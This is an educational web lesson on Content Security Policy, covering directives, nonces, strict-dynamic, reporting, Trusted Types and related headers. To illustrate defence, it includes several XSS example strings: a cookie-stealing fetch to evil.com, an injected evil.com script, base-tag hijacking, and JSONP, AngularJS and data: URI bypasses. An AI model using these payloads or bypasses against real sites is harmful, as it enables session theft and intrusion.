๐Ÿณ IntuitiveFE
Login
โ† All concepts

Content Security Policy

โฑ๏ธ ~3-minute bite ยท solve the sandbox to master

0%lesson
๐Ÿง’

5-Year-Old Metaphor

โ€” The physical, real-world picture. No jargon.

๐Ÿ“‹ CSP = approved supplier list for your website.

The supplier list analogy

Default behavior (no CSP): your website can load resources from anywhere โ€” any CDN, any domain, any inline script. An XSS vulnerability lets attackers inject <script src='https://evil.com/steal.js'> and your browser will load and run it.

With CSP: you publish an approved supplier list in the HTTP response header. The browser enforces it: only resources from approved suppliers (domains) load. Everything else โ€” including XSS-injected scripts โ€” is blocked at the browser level before execution.

Nonces: inline scripts need a signed delivery receipt (a cryptographic nonce in the CSP header and on the script tag). The nonce is generated fresh on the server per request. An attacker who injects a script tag can't know the nonce in advance.

Report-Only: shadow-testing the supplier list before enforcing it. Violations are logged to your endpoint but resources still load. Use this in production for a week to discover all violations, then flip to enforcement.

ASCII: how CSP works

js
1HTTP Response from server:
2โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
3โ”‚ Content-Security-Policy: default-src 'self'; โ”‚
4โ”‚ script-src 'self' 'nonce-abc123' https://cdn.ok.com โ”‚
5โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
6 โ”‚
7 โ–ผ Browser receives HTML + CSP header
8โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
9โ”‚ <script src="/app.js"> โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ โœ“ ALLOW (same origin)
10โ”‚ <script nonce="abc123">init()</script> โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ โœ“ ALLOW (nonce matches)
11โ”‚ <script src="https://cdn.ok.com/lib.js"> โ”€โ”€โ”€โ–ถ โœ“ ALLOW (in policy)
12โ”‚ <script src="https://evil.com/steal.js"> โ”€โ”€โ”€โ–ถ โœ— BLOCK (not in policy)
13โ”‚ <script>document.cookie</script> โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ โœ— BLOCK (no 'unsafe-inline')
14โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
15 โ”‚
16 โ–ผ Blocked? โ†’ Browser fires violation report to report-uri
17 โœ“ Allowed? โ†’ Script loads and executes normally

CSP directive hierarchy

default-srcFallback for all resource types not explicitly listed
script-srcJavaScript โ€” overrides default-src for scripts
style-srcCSS stylesheets โ€” overrides default-src for styles
img-srcImages (including data: URIs for base64)
connect-srcfetch(), XHR, WebSocket, EventSource
font-srcWeb fonts (@font-face)
frame-srciframe src โ€” controls embedding
object-src<object>, <embed> โ€” always set to 'none' in strict CSP
base-uri<base> tag โ€” always set to 'none' in strict CSP
form-actionWhere forms can POST to

Why 'unsafe-inline' defeats XSS protection

Adding 'unsafe-inline' to script-src re-enables inline scripts โ€” including every XSS-injected <script> tag. An attacker who can inject HTML can run arbitrary JavaScript. The entire point of CSP is to block this. If you need inline scripts, use nonces instead โ€” they're cryptographically unforgeable.

๐ŸŽ›๏ธ

Interactive Sandbox

โ€” Move something, see it react instantly.

CSP Pattern

HTTP Response Header

2 allowed/3 blocked
js
1Content-Security-Policy: default-src 'self'

Resources โ€” what does this policy allow?

โœ“
scripthttps://myapp.com/app.js

Same origin โ€” allowed

โœ—
scripthttps://cdn.example.com/lib.js

External origin not in policy

โœ—
script<script>alert(1)</script>

Inline script โ€” 'unsafe-inline' not in policy

โœ“
stylehttps://myapp.com/style.css

Same origin โ€” allowed

โœ—
scripthttps://google-analytics.com/analytics.js

Third-party not in policy

โš ๏ธ Gotcha: default-src is the fallback for all resource types. You must explicitly add 'unsafe-inline' to allow inline scripts โ€” but this defeats XSS protection.
๐Ÿ’ก Insight: 'self' means same origin (same protocol + domain + port). It does NOT include subdomains. Add 'https://sub.myapp.com' separately if needed.
Visited:๐Ÿ ๐Ÿ“œ๐Ÿ“Š๐ŸŽฒ๐Ÿ”’
๐ŸŽฏ

Challenge

Visit all 5 CSP patterns. For each policy, predict which resources will be blocked before reading the reasons.

Try it
๐ŸŽฏ

Why Should I Care?

โ€” The exact interview question + the bug it kills.

Exact interview questions

Q: Why does 'unsafe-inline' defeat XSS protection?

CSP's primary defense against XSS is blocking inline scripts โ€” the <script> tags an attacker injects via an injection vulnerability. Adding 'unsafe-inline' re-allows all inline scripts, restoring the default vulnerable behavior. An attacker who can inject <script>fetch('https://evil.com?c='+document.cookie)</script> will succeed. Nonces solve inline scripts without this tradeoff: each allowed script has a unique, server-generated token the attacker cannot predict.

js
1// โœ— Defeats the purpose:
2Content-Security-Policy: script-src 'self' 'unsafe-inline'
3// Any injected <script> tag runs
4ย 
5// โœ“ Allows your inline scripts without 'unsafe-inline':
6Content-Security-Policy: script-src 'nonce-{SERVER_RANDOM}'
7// <script nonce="SERVER_RANDOM">your code here</script>
8// Injected <script> (no nonce) is blocked

Q: What is 'strict-dynamic' and when should you use it?

'strict-dynamic' propagates trust from a nonced script to any scripts it dynamically loads. Without it, a script loaded via a nonce that then does document.createElement('script') would create an untrusted script (blocked by CSP). With 'strict-dynamic', scripts loaded by trusted scripts are also trusted. This lets modern bundlers and script loaders work with nonce-based CSP. It also ignores host allowlists โ€” so combine with nonces only, not domains.

js
1// Without 'strict-dynamic':
2// <script nonce="abc"> โ†’ trusted
3// const s = document.createElement('script');
4// s.src = '/chunk.js';
5// document.head.appendChild(s); โ†’ BLOCKED (no nonce, no allowlisted domain)
6ย 
7// With 'strict-dynamic':
8// <script nonce="abc"> โ†’ trusted
9// dynamically loaded /chunk.js โ†’ trusted (loaded by a trusted script)
10// /chunk.js loads /vendor.js โ†’ trusted (propagates transitively)
11ย 
12Content-Security-Policy:
13 script-src 'nonce-{SERVER_RANDOM}' 'strict-dynamic';
14 object-src 'none';
15 base-uri 'none';

Q: How do nonces work with SSR (Next.js / Express)?

The server generates a cryptographically random nonce for each response, injects it into the CSP header AND into every <script> tag in the HTML. Because it's generated per-request, an attacker who cached the previous nonce cannot use it for a new request.

js
1// Next.js middleware (middleware.ts)
2import { NextResponse } from 'next/server';
3import crypto from 'crypto';
4ย 
5export function middleware(request) {
6 const nonce = crypto.randomBytes(16).toString('base64');
7ย 
8 const cspHeader = `
9 script-src 'nonce-${nonce}' 'strict-dynamic';
10 style-src 'nonce-${nonce}';
11 object-src 'none';
12 base-uri 'none';
13 `.replace(/\s+/g, ' ');
14ย 
15 const response = NextResponse.next({
16 headers: { 'x-nonce': nonce }, // pass to _document.tsx
17 });
18 response.headers.set('Content-Security-Policy', cspHeader);
19 return response;
20}
21ย 
22// In _document.tsx: read nonce from headers and add to <Script> tags
23const nonce = headers().get('x-nonce') ?? '';
24// <Script nonce={nonce} src="/app.js" />
๐Ÿ”ฌ

The Deep Dive

โ€” Spec refs, engine internals, the minutiae.

CSP Level 3 directives

worker-src

Web Workers, Service Workers, SharedWorkers

Level 3

manifest-src

Web App Manifests

Level 3

navigate-to

Where the document can navigate (links, forms, redirects)

Level 3

prefetch-src

Prefetch and prerender requests

Level 3

require-trusted-types-for

Enforce Trusted Types API for DOM XSS sinks

Level 3

trusted-types

Define allowed Trusted Types policies

Level 3

report-uri vs report-to

report-uri (CSP Level 2) sends violation reports as JSON POST to a URL. Deprecated in CSP Level 3 in favor of report-to, which uses the Reporting API, supporting batching and multiple endpoints.

js
1// Preferred (modern): report-to with Reporting-Endpoints header
2Reporting-Endpoints: csp-endpoint="https://myapp.com/csp-reports"
3Content-Security-Policy:
4 default-src 'self';
5 report-to csp-endpoint;
6ย 
7// Violation report body:
8{
9 "csp-report": {
10 "document-uri": "https://myapp.com/page",
11 "violated-directive": "script-src",
12 "blocked-uri": "https://evil.com/steal.js",
13 "original-policy": "default-src 'self'; report-to csp-endpoint"
14 }
15}

Common CSP bypass techniques

JSONP endpoints

If your script-src allowlist includes a domain that hosts a JSONP endpoint (e.g., https://accounts.google.com/o/oauth2/revoke?callback=evil), an attacker can use it to execute arbitrary JavaScript from an allowed domain.

Fix: Don't allowlist domains with JSONP endpoints. Use nonces instead of domain allowlists.

AngularJS / template injection

If your allowlist includes a domain serving AngularJS (e.g., https://ajax.googleapis.com), attackers can use Angular template injection: {{constructor.constructor('alert(1)')()}}

Fix: Never allowlist CDNs hosting AngularJS. Use strict-dynamic with nonces.

data: URIs

Allowing 'data:' in script-src lets attackers execute: <script src='data:text/javascript,alert(1)'>. Always block data: in script-src.

Fix: Never add 'data:' to script-src. Only use data: in img-src if needed.

base tag hijacking

An attacker injects <base href='https://evil.com'>. All relative URLs on the page now resolve to evil.com. Fixed by base-uri 'none'.

Fix: Always include base-uri 'none' in strict CSP.

Trusted Types API โ€” DOM XSS prevention

Trusted Types (Chrome, Edge) prevents DOM XSS by requiring all assignments to dangerous sinks (innerHTML, document.write, eval) to use a sanitized Trusted Types object rather than a raw string. Enforce via CSP:

js
1Content-Security-Policy:
2 require-trusted-types-for 'script';
3 trusted-types sanitizer;
4ย 
5// In JavaScript: create a Trusted Types policy
6const policy = trustedTypes.createPolicy('sanitizer', {
7 createHTML: (input) => DOMPurify.sanitize(input),
8});
9ย 
10// โœ“ Now allowed:
11element.innerHTML = policy.createHTML(userInput);
12ย 
13// โœ— Blocked by browser (throws):
14element.innerHTML = userInput; // raw string to innerHTML blocked

CORP / COOP / COEP โ€” cross-origin isolation headers

CSP controls what your page loads. These three headers control cross-origin access to your page โ€” required to enable high-precision timers and SharedArrayBuffer (needed for Spectre mitigation):

Cross-Origin-Resource-Policy: same-origin

Prevents other origins from loading this resource (image, script, etc.) via <img> or <script> tags. Opt-in resource-level protection.

Cross-Origin-Opener-Policy: same-origin

Isolates the browsing context group โ€” cross-origin popups can't access your window object. Required for cross-origin isolation.

Cross-Origin-Embedder-Policy: require-corp

Requires all resources loaded by the page to have CORP or CORS headers. Required for cross-origin isolation.

Together, COOP + COEP enable cross-origin isolation: crossOriginIsolated === true in the browser, unlocking SharedArrayBuffer and high-res timers.

Permissions Policy (formerly Feature Policy)

Permissions Policy controls which browser features your page and its iframes can use โ€” camera, microphone, geolocation, payment, USB, etc. Unrelated to CSP but often set alongside it:

js
1Permissions-Policy:
2 camera=(), // disable entirely (no origin allowed)
3 microphone=(), // disable entirely
4 geolocation=(self), // only same origin
5 payment=(self "https://checkout.stripe.com"),
6 usb=()
7ย 
8// Blocks malicious iframes from requesting permissions
9// Limits accidental permission escalation in embedded content
๐ŸŽค

Interview Questions

โ€” Real questions from real interviews โ€” with answers.

'unsafe-inline' re-enables all inline scripts โ€” including every <script> tag an attacker injects via XSS.

strict-dynamic propagates trust from a nonced script to scripts it dynamically loads, enabling modern bundlers to work with nonce-based CSP.

Middleware generates a random nonce per request, sets it in the CSP header and passes it to _document via a custom header.

JSONP endpoints on allowlisted domains, AngularJS template injection, and data: URI scripts.

Report-Only logs violations without blocking โ€” use it in production to discover all violations before switching to enforcement.

base-uri blocks <base href> injection โ€” without it an attacker can reroute all relative URLs to their domain.

๐ŸŽฎ

Memory Game

โ€” Quick quiz โ€” lock the concept in long-term memory.
1/4

What does Permissions Policy (formerly Feature Policy) control?